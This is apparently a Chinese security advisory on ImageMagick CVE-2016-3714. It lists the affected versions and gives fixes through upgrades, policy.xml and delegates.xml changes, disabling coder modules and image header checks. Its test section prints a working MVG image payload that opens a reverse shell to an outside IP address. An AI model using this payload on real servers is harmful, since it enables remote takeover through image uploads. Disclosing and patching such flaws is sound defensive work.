近日,ImageMagick官方披露一处高危命令执行漏洞,漏洞编号为CVE-2016-3714,Java、PHP 的库也受其影响,比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。攻击者仅通过上传图片就可以获得服务器权限。
测试过程:
上传图片,内容为:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg”|bash -i >& /dev/tcp/106.187.4.9/2345 0>&1″)’
pop graphic-context
影响范围:
影响ImageMagick 6.9.3-9以前所有版本。
漏洞修复:
1)版本升级,目前不受影响版本为ImageMagick 7.0.1-1和6.9.3-10。
2)修改配置文件
【CentOS6】
如果不需要这些功能,可以通过配置policy.xml的方式来禁止https、mvg这些delegate。
查看配置文件位置:rpm -ql ImageMagick | grep policy.xml
<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>
重启php-fpm
/etc/init.d/php-fpm restart
【Centos5】
通过yum升级最高版本为ImageMagick-6.2.8.0,这个版本是没有policy.xml文件的。
老外的文章:
https://access.redhat.com/security/vulnerabilities/2296071
https://www.imagemagick.org/discourse-server/viewtopic.php?f=2&t=29614&start=15
解决方案有两个:
1)
[root@AccBBSweb1 usr]# rpm -ql ImageMagick-6.2.8.0-15.el5_8 | grep delegates.xml
/usr/lib64/ImageMagick-6.2.8/config/delegates.xml
/usr/lib/ImageMagick-6.2.8/config/delegates.xml
找到<delegate decode=”https” command='”wget” -q -O “%o” “https:%M”‘ />
修改为:<delegate decode=”https” command=”/bin/false” />
/usr/local/php-fpm/sbin/php-fpm restart
2)
在如下文件中:
/usr/lib64/ImageMagick-6.2.8/modules-Q16/coders/ (64bit package)
or
/usr/lib/ImageMagick-6.2.8/modules-Q16/coders/ (32bit package)
$ mv mvg.so mvg.so.bak
$ mv msl.so msl.so.bak
$ mv label.so label.so.bak
$ mv url.so url.so.bak
3)处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。